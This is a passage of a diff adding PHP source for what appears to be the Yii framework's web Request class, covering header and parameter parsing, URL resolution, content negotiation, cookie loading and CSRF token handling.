$_headers; + + + /** + * Resolves the current request into a route and the associated parameters. + * @return array the first element is the route, and the second is the associated parameters. + * @throws HttpException if the request cannot be resolved. + */ + public function resolve() + { + $result = Yii::$app->getUrlManager()->parseRequest($this); + if ($result !== false) { + list ($route, $params) = $result; + $_GET = array_merge($_GET, $params); + + return [$route, $_GET]; + } else { + throw new NotFoundHttpException(Yii::t('yii', 'Page not found.')); + } + } + + /** + * Returns the header collection. + * The header collection contains incoming HTTP headers. + * @return HeaderCollection the header collection + */ + public function getHeaders() + { + if ($this->_headers === null) { + $this->_headers = new HeaderCollection; + if (function_exists('getallheaders')) { + $headers = getallheaders(); + } elseif (function_exists('http_get_request_headers')) { + $headers = http_get_request_headers(); + } else { + foreach ($_SERVER as $name => $value) { + if (strncmp($name, 'HTTP_', 5) === 0) { + $name = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))); + $this->_headers->add($name, $value); + } + } + + return $this->_headers; + } + foreach ($headers as $name => $value) { + $this->_headers->add($name, $value); + } + } + + return $this->_headers; + } + + /** + * Returns the method of the current request (e.g. GET, POST, HEAD, PUT, PATCH, DELETE). + * @return string request method, such as GET, POST, HEAD, PUT, PATCH, DELETE. + * The value returned is turned into upper case. + */ + public function getMethod() + { + if (isset($_POST[$this->methodParam])) { + return strtoupper($_POST[$this->methodParam]); + } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) { + return strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']); + } else { + return isset($_SERVER['REQUEST_METHOD']) ? strtoupper($_SERVER['REQUEST_METHOD']) : 'GET'; + } + } + + /** + * Returns whether this is a GET request. + * @return boolean whether this is a GET request. + */ + public function getIsGet() + { + return $this->getMethod() === 'GET'; + } + + /** + * Returns whether this is an OPTIONS request. + * @return boolean whether this is a OPTIONS request. + */ + public function getIsOptions() + { + return $this->getMethod() === 'OPTIONS'; + } + + /** + * Returns whether this is a HEAD request. + * @return boolean whether this is a HEAD request. + */ + public function getIsHead() + { + return $this->getMethod() === 'HEAD'; + } + + /** + * Returns whether this is a POST request. + * @return boolean whether this is a POST request. + */ + public function getIsPost() + { + return $this->getMethod() === 'POST'; + } + + /** + * Returns whether this is a DELETE request. + * @return boolean whether this is a DELETE request. + */ + public function getIsDelete() + { + return $this->getMethod() === 'DELETE'; + } + + /** + * Returns whether this is a PUT request. + * @return boolean whether this is a PUT request. + */ + public function getIsPut() + { + return $this->getMethod() === 'PUT'; + } + + /** + * Returns whether this is a PATCH request. + * @return boolean whether this is a PATCH request. + */ + public function getIsPatch() + { + return $this->getMethod() === 'PATCH'; + } + + /** + * Returns whether this is an AJAX (XMLHttpRequest) request. + * @return boolean whether this is an AJAX (XMLHttpRequest) request. + */ + public function getIsAjax() + { + return isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest'; + } + + /** + * Returns whether this is a PJAX request + * @return boolean whether this is a PJAX request + */ + public function getIsPjax() + { + return $this->getIsAjax() && !empty($_SERVER['HTTP_X_PJAX']); + } + + /** + * Returns whether this is an Adobe Flash or Flex request. + * @return boolean whether this is an Adobe Flash or Adobe Flex request. + */ + public function getIsFlash() + { + return isset($_SERVER['HTTP_USER_AGENT']) && + (stripos($_SERVER['HTTP_USER_AGENT'], 'Shockwave') !== false || stripos($_SERVER['HTTP_USER_AGENT'], 'Flash') !== false); + } + + private $_rawBody; + + /** + * Returns the raw HTTP request body. + * @return string the request body + */ + public function getRawBody() + { + if ($this->_rawBody === null) { + $this->_rawBody = file_get_contents('php://input'); + } + + return $this->_rawBody; + } + + /** + * Sets the raw HTTP request body, this method is mainly used by test scripts to simulate raw HTTP requests. + * @param $rawBody + */ + public function setRawBody($rawBody) + { + $this->_rawBody = $rawBody; + } + + private $_bodyParams; + + /** + * Returns the request parameters given in the request body. + * + * Request parameters are determined using the parsers configured in [[parsers]] property. + * If no parsers are configured for the current [[contentType]] it uses the PHP function `mb_parse_str()` + * to parse the [[rawBody|request body]]. + * @return array the request parameters given in the request body. + * @throws \yii\base\InvalidConfigException if a registered parser does not implement the [[RequestParserInterface]]. + * @see getMethod() + * @see getBodyParam() + * @see setBodyParams() + */ + public function getBodyParams() + { + if ($this->_bodyParams === null) { + if (isset($_POST[$this->methodParam])) { + $this->_bodyParams = $_POST; + unset($this->_bodyParams[$this->methodParam]); + return $this->_bodyParams; + } + + $contentType = $this->getContentType(); + if (($pos = strpos($contentType, ';')) !== false) { + // e.g. application/json; charset=UTF-8 + $contentType = substr($contentType, 0, $pos); + } + + if (isset($this->parsers[$contentType])) { + $parser = Yii::createObject($this->parsers[$contentType]); + if (!($parser instanceof RequestParserInterface)) { + throw new InvalidConfigException("The '$contentType' request parser is invalid. It must implement the yii\\web\\RequestParserInterface."); + } + $this->_bodyParams = $parser->parse($this->getRawBody(), $contentType); + } elseif (isset($this->parsers['*'])) { + $parser = Yii::createObject($this->parsers['*']); + if (!($parser instanceof RequestParserInterface)) { + throw new InvalidConfigException("The fallback request parser is invalid. It must implement the yii\\web\\RequestParserInterface."); + } + $this->_bodyParams = $parser->parse($this->getRawBody(), $contentType); + } elseif ($this->getMethod() === 'POST') { + // PHP has already parsed the body so we have all params in $_POST + $this->_bodyParams = $_POST; + } else { + $this->_bodyParams = []; + mb_parse_str($this->getRawBody(), $this->_bodyParams); + } + } + + return $this->_bodyParams; + } + + /** + * Sets the request body parameters. + * @param array $values the request body parameters (name-value pairs) + * @see getBodyParam() + * @see getBodyParams() + */ + public function setBodyParams($values) + { + $this->_bodyParams = $values; + } + + /** + * Returns the named request body parameter value. + * @param string $name the parameter name + * @param mixed $defaultValue the default parameter value if the parameter does not exist. + * @return mixed the parameter value + * @see getBodyParams() + * @see setBodyParams() + */ + public function getBodyParam($name, $defaultValue = null) + { + $params = $this->getBodyParams(); + + return isset($params[$name]) ? $params[$name] : $defaultValue; + } + + /** + * Returns POST parameter with a given name. If name isn't specified, returns an array of all POST parameters. + * + * @param string $name the parameter name + * @param mixed $defaultValue the default parameter value if the parameter does not exist. + * @return array|mixed + */ + public function post($name = null, $defaultValue = null) + { + if ($name === null) { + return $this->getBodyParams(); + } else { + return $this->getBodyParam($name, $defaultValue); + } + } + + private $_queryParams; + + /** + * Returns the request parameters given in the [[queryString]]. + * + * This method will return the contents of `$_GET` if params where not explicitly set. + * @return array the request GET parameter values. + * @see setQueryParams() + */ + public function getQueryParams() + { + if ($this->_queryParams === null) { + return $_GET; + } + + return $this->_queryParams; + } + + /** + * Sets the request [[queryString]] parameters. + * @param array $values the request query parameters (name-value pairs) + * @see getQueryParam() + * @see getQueryParams() + */ + public function setQueryParams($values) + { + $this->_queryParams = $values; + } + + /** + * Returns GET parameter with a given name. If name isn't specified, returns an array of all GET parameters. + * + * @param string $name the parameter name + * @param mixed $defaultValue the default parameter value if the parameter does not exist. + * @return array|mixed + */ + public function get($name = null, $defaultValue = null) + { + if ($name === null) { + return $this->getQueryParams(); + } else { + return $this->getQueryParam($name, $defaultValue); + } + } + + /** + * Returns the named GET parameter value. + * If the GET parameter does not exist, the second parameter to this method will be returned. + * @param string $name the GET parameter name. If not specified, whole $_GET is returned. + * @param mixed $defaultValue the default parameter value if the GET parameter does not exist. + * @return mixed the GET parameter value + * @see getBodyParam() + */ + public function getQueryParam($name, $defaultValue = null) + { + $params = $this->getQueryParams(); + + return isset($params[$name]) ? $params[$name] : $defaultValue; + } + + private $_hostInfo; + + /** + * Returns the schema and host part of the current request URL. + * The returned URL does not have an ending slash. + * By default this is determined based on the user request information. + * You may explicitly specify it by setting the [[setHostInfo()|hostInfo]] property. + * @return string schema and hostname part (with port number if needed) of the request URL (e.g. `http://www.yiiframework.com`) + * @see setHostInfo() + */ + public function getHostInfo() + { + if ($this->_hostInfo === null) { + $secure = $this->getIsSecureConnection(); + $http = $secure ? 'https' : 'http'; + if (isset($_SERVER['HTTP_HOST'])) { + $this->_hostInfo = $http . '://' . $_SERVER['HTTP_HOST']; + } else { + $this->_hostInfo = $http . '://' . $_SERVER['SERVER_NAME']; + $port = $secure ? $this->getSecurePort() : $this->getPort(); + if (($port !== 80 && !$secure) || ($port !== 443 && $secure)) { + $this->_hostInfo .= ':' . $port; + } + } + } + + return $this->_hostInfo; + } + + /** + * Sets the schema and host part of the application URL. + * This setter is provided in case the schema and hostname cannot be determined + * on certain Web servers. + * @param string $value the schema and host part of the application URL. The trailing slashes will be removed. + */ + public function setHostInfo($value) + { + $this->_hostInfo = rtrim($value, '/'); + } + + private $_baseUrl; + + /** + * Returns the relative URL for the application. + * This is similar to [[scriptUrl]] except that it does not include the script file name, + * and the ending slashes are removed. + * @return string the relative URL for the application + * @see setScriptUrl() + */ + public function getBaseUrl() + { + if ($this->_baseUrl === null) { + $this->_baseUrl = rtrim(dirname($this->getScriptUrl()), '\\/'); + } + + return $this->_baseUrl; + } + + /** + * Sets the relative URL for the application. + * By default the URL is determined based on the entry script URL. + * This setter is provided in case you want to change this behavior. + * @param string $value the relative URL for the application + */ + public function setBaseUrl($value) + { + $this->_baseUrl = $value; + } + + private $_scriptUrl; + + /** + * Returns the relative URL of the entry script. + * The implementation of this method referenced Zend_Controller_Request_Http in Zend Framework. + * @return string the relative URL of the entry script. + * @throws InvalidConfigException if unable to determine the entry script URL + */ + public function getScriptUrl() + { + if ($this->_scriptUrl === null) { + $scriptFile = $this->getScriptFile(); + $scriptName = basename($scriptFile); + if (basename($_SERVER['SCRIPT_NAME']) === $scriptName) { + $this->_scriptUrl = $_SERVER['SCRIPT_NAME']; + } elseif (basename($_SERVER['PHP_SELF']) === $scriptName) { + $this->_scriptUrl = $_SERVER['PHP_SELF']; + } elseif (isset($_SERVER['ORIG_SCRIPT_NAME']) && basename($_SERVER['ORIG_SCRIPT_NAME']) === $scriptName) { + $this->_scriptUrl = $_SERVER['ORIG_SCRIPT_NAME']; + } elseif (($pos = strpos($_SERVER['PHP_SELF'], '/' . $scriptName)) !== false) { + $this->_scriptUrl = substr($_SERVER['SCRIPT_NAME'], 0, $pos) . '/' . $scriptName; + } elseif (!empty($_SERVER['DOCUMENT_ROOT']) && strpos($scriptFile, $_SERVER['DOCUMENT_ROOT']) === 0) { + $this->_scriptUrl = str_replace('\\', '/', str_replace($_SERVER['DOCUMENT_ROOT'], '', $scriptFile)); + } else { + throw new InvalidConfigException('Unable to determine the entry script URL.'); + } + } + + return $this->_scriptUrl; + } + + /** + * Sets the relative URL for the application entry script. + * This setter is provided in case the entry script URL cannot be determined + * on certain Web servers. + * @param string $value the relative URL for the application entry script. + */ + public function setScriptUrl($value) + { + $this->_scriptUrl = '/' . trim($value, '/'); + } + + private $_scriptFile; + + /** + * Returns the entry script file path. + * The default implementation will simply return `$_SERVER['SCRIPT_FILENAME']`. + * @return string the entry script file path + */ + public function getScriptFile() + { + return isset($this->_scriptFile) ? $this->_scriptFile : $_SERVER['SCRIPT_FILENAME']; + } + + /** + * Sets the entry script file path. + * The entry script file path normally can be obtained from `$_SERVER['SCRIPT_FILENAME']`. + * If your server configuration does not return the correct value, you may configure + * this property to make it right. + * @param string $value the entry script file path. + */ + public function setScriptFile($value) + { + $this->_scriptFile = $value; + } + + private $_pathInfo; + + /** + * Returns the path info of the currently requested URL. + * A path info refers to the part that is after the entry script and before the question mark (query string). + * The starting and ending slashes are both removed. + * @return string part of the request URL that is after the entry script and before the question mark. + * Note, the returned path info is already URL-decoded. + * @throws InvalidConfigException if the path info cannot be determined due to unexpected server configuration + */ + public function getPathInfo() + { + if ($this->_pathInfo === null) { + $this->_pathInfo = $this->resolvePathInfo(); + } + + return $this->_pathInfo; + } + + /** + * Sets the path info of the current request. + * This method is mainly provided for testing purpose. + * @param string $value the path info of the current request + */ + public function setPathInfo($value) + { + $this->_pathInfo = ltrim($value, '/'); + } + + /** + * Resolves the path info part of the currently requested URL. + * A path info refers to the part that is after the entry script and before the question mark (query string). + * The starting slashes are both removed (ending slashes will be kept). + * @return string part of the request URL that is after the entry script and before the question mark. + * Note, the returned path info is decoded. + * @throws InvalidConfigException if the path info cannot be determined due to unexpected server configuration + */ + protected function resolvePathInfo() + { + $pathInfo = $this->getUrl(); + + if (($pos = strpos($pathInfo, '?')) !== false) { + $pathInfo = substr($pathInfo, 0, $pos); + } + + $pathInfo = urldecode($pathInfo); + + // try to encode in UTF8 if not so + // http://w3.org/International/questions/qa-forms-utf-8.html + if (!preg_match('%^(?: + [\x09\x0A\x0D\x20-\x7E] # ASCII + | [\xC2-\xDF][\x80-\xBF] # non-overlong 2-byte + | \xE0[\xA0-\xBF][\x80-\xBF] # excluding overlongs + | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2} # straight 3-byte + | \xED[\x80-\x9F][\x80-\xBF] # excluding surrogates + | \xF0[\x90-\xBF][\x80-\xBF]{2} # planes 1-3 + | [\xF1-\xF3][\x80-\xBF]{3} # planes 4-15 + | \xF4[\x80-\x8F][\x80-\xBF]{2} # plane 16 + )*$%xs', $pathInfo) + ) { + $pathInfo = utf8_encode($pathInfo); + } + + $scriptUrl = $this->getScriptUrl(); + $baseUrl = $this->getBaseUrl(); + if (strpos($pathInfo, $scriptUrl) === 0) { + $pathInfo = substr($pathInfo, strlen($scriptUrl)); + } elseif ($baseUrl === '' || strpos($pathInfo, $baseUrl) === 0) { + $pathInfo = substr($pathInfo, strlen($baseUrl)); + } elseif (isset($_SERVER['PHP_SELF']) && strpos($_SERVER['PHP_SELF'], $scriptUrl) === 0) { + $pathInfo = substr($_SERVER['PHP_SELF'], strlen($scriptUrl)); + } else { + throw new InvalidConfigException('Unable to determine the path info of the current request.'); + } + + if ($pathInfo[0] === '/') { + $pathInfo = substr($pathInfo, 1); + } + + return (string) $pathInfo; + } + + /** + * Returns the currently requested absolute URL. + * This is a shortcut to the concatenation of [[hostInfo]] and [[url]]. + * @return string the currently requested absolute URL. + */ + public function getAbsoluteUrl() + { + return $this->getHostInfo() . $this->getUrl(); + } + + private $_url; + + /** + * Returns the currently requested relative URL. + * This refers to the portion of the URL that is after the [[hostInfo]] part. + * It includes the [[queryString]] part if any. + * @return string the currently requested relative URL. Note that the URI returned is URL-encoded. + * @throws InvalidConfigException if the URL cannot be determined due to unusual server configuration + */ + public function getUrl() + { + if ($this->_url === null) { + $this->_url = $this->resolveRequestUri(); + } + + return $this->_url; + } + + /** + * Sets the currently requested relative URL. + * The URI must refer to the portion that is after [[hostInfo]]. + * Note that the URI should be URL-encoded. + * @param string $value the request URI to be set + */ + public function setUrl($value) + { + $this->_url = $value; + } + + /** + * Resolves the request URI portion for the currently requested URL. + * This refers to the portion that is after the [[hostInfo]] part. It includes the [[queryString]] part if any. + * The implementation of this method referenced Zend_Controller_Request_Http in Zend Framework. + * @return string|boolean the request URI portion for the currently requested URL. + * Note that the URI returned is URL-encoded. + * @throws InvalidConfigException if the request URI cannot be determined due to unusual server configuration + */ + protected function resolveRequestUri() + { + if (isset($_SERVER['HTTP_X_REWRITE_URL'])) { // IIS + $requestUri = $_SERVER['HTTP_X_REWRITE_URL']; + } elseif (isset($_SERVER['REQUEST_URI'])) { + $requestUri = $_SERVER['REQUEST_URI']; + if ($requestUri !== '' && $requestUri[0] !== '/') { + $requestUri = preg_replace('/^(http|https):\/\/[^\/]+/i', '', $requestUri); + } + } elseif (isset($_SERVER['ORIG_PATH_INFO'])) { // IIS 5.0 CGI + $requestUri = $_SERVER['ORIG_PATH_INFO']; + if (!empty($_SERVER['QUERY_STRING'])) { + $requestUri .= '?' . $_SERVER['QUERY_STRING']; + } + } else { + throw new InvalidConfigException('Unable to determine the request URI.'); + } + + return $requestUri; + } + + /** + * Returns part of the request URL that is after the question mark. + * @return string part of the request URL that is after the question mark + */ + public function getQueryString() + { + return isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : ''; + } + + /** + * Return if the request is sent via secure channel (https). + * @return boolean if the request is sent via secure channel (https) + */ + public function getIsSecureConnection() + { + return isset($_SERVER['HTTPS']) && (strcasecmp($_SERVER['HTTPS'], 'on') === 0 || $_SERVER['HTTPS'] == 1) + || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strcasecmp($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') === 0; + } + + /** + * Returns the server name. + * @return string server name + */ + public function getServerName() + { + return $_SERVER['SERVER_NAME']; + } + + /** + * Returns the server port number. + * @return integer server port number + */ + public function getServerPort() + { + return (int) $_SERVER['SERVER_PORT']; + } + + /** + * Returns the URL referrer, null if not present + * @return string URL referrer, null if not present + */ + public function getReferrer() + { + return isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null; + } + + /** + * Returns the user agent, null if not present. + * @return string user agent, null if not present + */ + public function getUserAgent() + { + return isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null; + } + + /** + * Returns the user IP address. + * @return string user IP address. Null is returned if the user IP address cannot be detected. + */ + public function getUserIP() + { + return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : null; + } + + /** + * Returns the user host name, null if it cannot be determined. + * @return string user host name, null if cannot be determined + */ + public function getUserHost() + { + return isset($_SERVER['REMOTE_HOST']) ? $_SERVER['REMOTE_HOST'] : null; + } + + /** + * @return string the username sent via HTTP authentication, null if the username is not given + */ + public function getAuthUser() + { + return isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : null; + } + + /** + * @return string the password sent via HTTP authentication, null if the password is not given + */ + public function getAuthPassword() + { + return isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : null; + } + + private $_port; + + /** + * Returns the port to use for insecure requests. + * Defaults to 80, or the port specified by the server if the current + * request is insecure. + * @return integer port number for insecure requests. + * @see setPort() + */ + public function getPort() + { + if ($this->_port === null) { + $this->_port = !$this->getIsSecureConnection() && isset($_SERVER['SERVER_PORT']) ? (int) $_SERVER['SERVER_PORT'] : 80; + } + + return $this->_port; + } + + /** + * Sets the port to use for insecure requests. + * This setter is provided in case a custom port is necessary for certain + * server configurations. + * @param integer $value port number. + */ + public function setPort($value) + { + if ($value != $this->_port) { + $this->_port = (int) $value; + $this->_hostInfo = null; + } + } + + private $_securePort; + + /** + * Returns the port to use for secure requests. + * Defaults to 443, or the port specified by the server if the current + * request is secure. + * @return integer port number for secure requests. + * @see setSecurePort() + */ + public function getSecurePort() + { + if ($this->_securePort === null) { + $this->_securePort = $this->getIsSecureConnection() && isset($_SERVER['SERVER_PORT']) ? (int) $_SERVER['SERVER_PORT'] : 443; + } + + return $this->_securePort; + } + + /** + * Sets the port to use for secure requests. + * This setter is provided in case a custom port is necessary for certain + * server configurations. + * @param integer $value port number. + */ + public function setSecurePort($value) + { + if ($value != $this->_securePort) { + $this->_securePort = (int) $value; + $this->_hostInfo = null; + } + } + + private $_contentTypes; + + /** + * Returns the content types acceptable by the end user. + * This is determined by the `Accept` HTTP header. For example, + * + * ```php + * $_SERVER['HTTP_ACCEPT'] = 'text/plain; q=0.5, application/json; version=1.0, application/xml; version=2.0;'; + * $types = $request->getAcceptableContentTypes(); + * print_r($types); + * // displays: + * // [ + * // 'application/json' => ['q' => 1, 'version' => '1.0'], + * // 'application/xml' => ['q' => 1, 'version' => '2.0'], + * // 'text/plain' => ['q' => 0.5], + * // ] + * ``` + * + * @return array the content types ordered by the quality score. Types with the highest scores + * will be returned first. The array keys are the content types, while the array values + * are the corresponding quality score and other parameters as given in the header. + */ + public function getAcceptableContentTypes() + { + if ($this->_contentTypes === null) { + if (isset($_SERVER['HTTP_ACCEPT'])) { + $this->_contentTypes = $this->parseAcceptHeader($_SERVER['HTTP_ACCEPT']); + } else { + $this->_contentTypes = []; + } + } + + return $this->_contentTypes; + } + + /** + * Sets the acceptable content types. + * Please refer to [[getAcceptableContentTypes()]] on the format of the parameter. + * @param array $value the content types that are acceptable by the end user. They should + * be ordered by the preference level. + * @see getAcceptableContentTypes() + * @see parseAcceptHeader() + */ + public function setAcceptableContentTypes($value) + { + $this->_contentTypes = $value; + } + + /** + * Returns request content-type + * The Content-Type header field indicates the MIME type of the data + * contained in [[getRawBody()]] or, in the case of the HEAD method, the + * media type that would have been sent had the request been a GET. + * For the MIME-types the user expects in response, see [[acceptableContentTypes]]. + * @return string request content-type. Null is returned if this information is not available. + * @link http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.17 + * HTTP 1.1 header field definitions + */ + public function getContentType() + { + if (isset($_SERVER["CONTENT_TYPE"])) { + return $_SERVER["CONTENT_TYPE"]; + } elseif (isset($_SERVER["HTTP_CONTENT_TYPE"])) { + //fix bug https://bugs.php.net/bug.php?id=66606 + return $_SERVER["HTTP_CONTENT_TYPE"]; + } + + return null; + } + + private $_languages; + + /** + * Returns the languages acceptable by the end user. + * This is determined by the `Accept-Language` HTTP header. + * @return array the languages ordered by the preference level. The first element + * represents the most preferred language. + */ + public function getAcceptableLanguages() + { + if ($this->_languages === null) { + if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { + $this->_languages = array_keys($this->parseAcceptHeader($_SERVER['HTTP_ACCEPT_LANGUAGE'])); + } else { + $this->_languages = []; + } + } + + return $this->_languages; + } + + /** + * @param array $value the languages that are acceptable by the end user. They should + * be ordered by the preference level. + */ + public function setAcceptableLanguages($value) + { + $this->_languages = $value; + } + + /** + * Parses the given `Accept` (or `Accept-Language`) header. + * + * This method will return the acceptable values with their quality scores and the corresponding parameters + * as specified in the given `Accept` header. The array keys of the return value are the acceptable values, + * while the array values consisting of the corresponding quality scores and parameters. The acceptable + * values with the highest quality scores will be returned first. For example, + * + * ```php + * $header = 'text/plain; q=0.5, application/json; version=1.0, application/xml; version=2.0;'; + * $accepts = $request->parseAcceptHeader($header); + * print_r($accepts); + * // displays: + * // [ + * // 'application/json' => ['q' => 1, 'version' => '1.0'], + * // 'application/xml' => ['q' => 1, 'version' => '2.0'], + * // 'text/plain' => ['q' => 0.5], + * // ] + * ``` + * + * @param string $header the header to be parsed + * @return array the acceptable values ordered by their quality score. The values with the highest scores + * will be returned first. + */ + public function parseAcceptHeader($header) + { + $accepts = []; + foreach (explode(',', $header) as $i => $part) { + $params = preg_split('/\s*;\s*/', trim($part), -1, PREG_SPLIT_NO_EMPTY); + if (empty($params)) { + continue; + } + $values = [ + 'q' => [$i, array_shift($params), 1], + ]; + foreach ($params as $param) { + if (strpos($param, '=') !== false) { + list ($key, $value) = explode('=', $param, 2); + if ($key === 'q') { + $values['q'][2] = (double) $value; + } else { + $values[$key] = $value; + } + } else { + $values[] = $param; + } + } + $accepts[] = $values; + } + + usort($accepts, function ($a, $b) { + $a = $a['q']; // index, name, q + $b = $b['q']; + if ($a[2] > $b[2]) { + return -1; + } elseif ($a[2] < $b[2]) { + return 1; + } elseif ($a[1] === $b[1]) { + return $a[0] > $b[0] ? 1 : -1; + } elseif ($a[1] === '*/*') { + return 1; + } elseif ($b[1] === '*/*') { + return -1; + } else { + $wa = $a[1][strlen($a[1]) - 1] === '*'; + $wb = $b[1][strlen($b[1]) - 1] === '*'; + if ($wa xor $wb) { + return $wa ? 1 : -1; + } else { + return $a[0] > $b[0] ? 1 : -1; + } + } + }); + + $result = []; + foreach ($accepts as $accept) { + $name = $accept['q'][1]; + $accept['q'] = $accept['q'][2]; + $result[$name] = $accept; + } + + return $result; + } + + /** + * Returns the user-preferred language that should be used by this application. + * The language resolution is based on the user preferred languages and the languages + * supported by the application. The method will try to find the best match. + * @param array $languages a list of the languages supported by the application. If this is empty, the current + * application language will be returned without further processing. + * @return string the language that the application should use. + */ + public function getPreferredLanguage(array $languages = []) + { + if (empty($languages)) { + return Yii::$app->language; + } + foreach ($this->getAcceptableLanguages() as $acceptableLanguage) { + $acceptableLanguage = str_replace('_', '-', strtolower($acceptableLanguage)); + foreach ($languages as $language) { + $normalizedLanguage = str_replace('_', '-', strtolower($language)); + + if ($normalizedLanguage === $acceptableLanguage || // en-us==en-us + strpos($acceptableLanguage, $normalizedLanguage . '-') === 0 || // en==en-us + strpos($normalizedLanguage, $acceptableLanguage . '-') === 0) { // en-us==en + + return $language; + } + } + } + + return reset($languages); + } + + /** + * Gets the Etags. + * + * @return array The entity tags + */ + public function getETags() + { + if (isset($_SERVER['HTTP_IF_NONE_MATCH'])) { + return preg_split('/[\s,]+/', $_SERVER['HTTP_IF_NONE_MATCH'], -1, PREG_SPLIT_NO_EMPTY); + } else { + return []; + } + } + + /** + * Returns the cookie collection. + * Through the returned cookie collection, you may access a cookie using the following syntax: + * + * ~~~ + * $cookie = $request->cookies['name'] + * if ($cookie !== null) { + * $value = $cookie->value; + * } + * + * // alternatively + * $value = $request->cookies->getValue('name'); + * ~~~ + * + * @return CookieCollection the cookie collection. + */ + public function getCookies() + { + if ($this->_cookies === null) { + $this->_cookies = new CookieCollection($this->loadCookies(), [ + 'readOnly' => true, + ]); + } + + return $this->_cookies; + } + + /** + * Converts `$_COOKIE` into an array of [[Cookie]]. + * @return array the cookies obtained from request + * @throws InvalidConfigException if [[cookieValidationKey]] is not set when [[enableCookieValidation]] is true + */ + protected function loadCookies() + { + $cookies = []; + if ($this->enableCookieValidation) { + if ($this->cookieValidationKey == '') { + throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.'); + } + foreach ($_COOKIE as $name => $value) { + if (is_string($value) && ($value = Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey)) !== false) { + $cookies[$name] = new Cookie([ + 'name' => $name, + 'value' => @unserialize($value), + 'expire'=> null + ]); + } + } + } else { + foreach ($_COOKIE as $name => $value) { + $cookies[$name] = new Cookie([ + 'name' => $name, + 'value' => $value, + 'expire'=> null + ]); + } + } + + return $cookies; + } + + private $_csrfToken; + + /** + * Returns the token used to perform CSRF validation. + * + * This token is a masked version of [[rawCsrfToken]] to prevent [BREACH attacks](http://breachattack.com/). + * This token may be passed along via a hidden field of an HTML form or an HTTP header value + * to support CSRF validation. + * @param boolean $regenerate whether to regenerate CSRF token. When this parameter is true, each time + * this method is called, a new CSRF token will be generated and persisted (in session or cookie). + * @return string the token used to perform CSRF validation. + */ + public function getCsrfToken($regenerate = false) + { + if ($this->_csrfToken === null || $regenerate) { + if ($regenerate || ($token = $this->loadCsrfToken()) === null) { + $token = $this->generateCsrfToken(); + } + // the mask doesn't need to be very random + $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-.'; + $mask = substr(str_shuffle(str_repeat($chars, 5)), 0, self::CSRF_MASK_LENGTH); + // The + sign may be decoded as blank space later, which will fail the validation + $this->_csrfToken = str_replace('+', '.', base64_encode($mask . $this->xorTokens($token, $mask))); + } + + return $this->_csrfToken; + } + + /** + * Loads the CSRF token from cookie or session. + * @return string the CSRF token loaded from cookie or session. Null is returned if the cookie or session + * does not have CSRF token. + */ + protected function loadCsrfToken() + { + if ($this->enableCsrfCookie) { + return $this->getCookies()->getValue($this->csrfParam); + } else { + return Yii::$app->getSession()->get($this->csrfParam); + } + } + + /** + * Generates an unmasked random token used to perform CSRF validation. + * @return string the random token for CSRF validation. + */ + protected function generateCsrfToken() + { + $token = Yii::$app->getSecurity()->generateRandomString(); + if ($this->enableCsrfCookie) { + $config = $this->csrfCookie; + $config['name'] = $this->csrfParam; + $config['value'] = $token; + Yii::$app->getResponse()->getCookies()->add(new Cookie($config)); + } else { + Yii::$app->getSession()->set($this->csrfParam, $token); + } + return $token; + } + + /** + * Returns the XOR result of two strings. + * If the two strings are of different lengths, the shorter one will be padded to the length of the longer one. + * @param string $token1 + * @param string $token2 + * @return string the XOR result + */ + private function xorTokens($token1, $token2) + { + $n1 = StringHelper::byteLength($token1); + $n2 = StringHelper::byteLength($token2); + if ($n1 > $n2) { + $token2 = str_pad($token2, $n1, $token2); + } elseif ($n1 < $n2) { + $token1 = str_pad($token1, $n2, $n1 === 0 ? ' ' : $token1); + } + + return $token1 ^ $token2; + } + + /** + * @return string the CSRF token sent via [[CSRF_HEADER]] by browser. Null is returned if no such header is sent. + */ + public function getCsrfTokenFromHeader() + { + $key = 'HTTP_' . str_replace('-', '_', strtoupper(self::CSRF_HEADER)); + return isset($_SERVER[$key]) ? $_SERVER[$key] : null; + } + + /** + * Creates a cookie with a randomly generated CSRF token. + * Initial values specified in [[csrfCookie]] will be applied to the generated cookie. + * @return Cookie the generated cookie + * @see enableCsrfValidation + */ + protected function createCsrfCookie() + { + $options = $this->csrfCookie; + $options['name'] = $this->csrfParam; + $options['value'] = Yii::$app->getSecurity()->generateRandomString(); + return new Cookie($options); + } + + /** + * Performs the CSRF validation. + * The method will compare the CSRF token obtained from a cookie and from a POST field. + * If they are different, a CSRF attack is detected and a 400 HTTP exception will be raised. + * This method is called in [[Controller::beforeAction()]]. + * @return boolean whether CSRF token is valid. If [[enableCsrfValidation]] is false, this method will return true. + */ + public function validateCsrfToken() + { + $method = $this->getMethod(); + // only validate CSRF token on non-"safe" methods http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 + if (!$this->enableCsrfValidation || in_array($method, ['GET', 'HEAD', 'OPTIONS'], true)) { + return true; + } + + $trueToken = $this->loadCsrfToken(); + + return $this->validateCsrfTokenInternal($this->getBodyParam($this->csrfParam), $trueToken) + || $this->validateCsrfTokenInternal($this->getCsrfTokenFromHeader(), $trueToken); + } + + /** + * Validates CSRF token + * + * @param string $token + * @param string $trueToken + * @return boolean + */ + private function validateCsrfTokenInternal($token, $trueToken) + { + $token = base64_decode(str_replace('.', '+', $token)); + $n = StringHelper::byteLength($token); + if ($n <= self::CSRF_MASK_LENGTH) { + return false; + } + $mask = StringHelper::byteSubstr($token, 0, 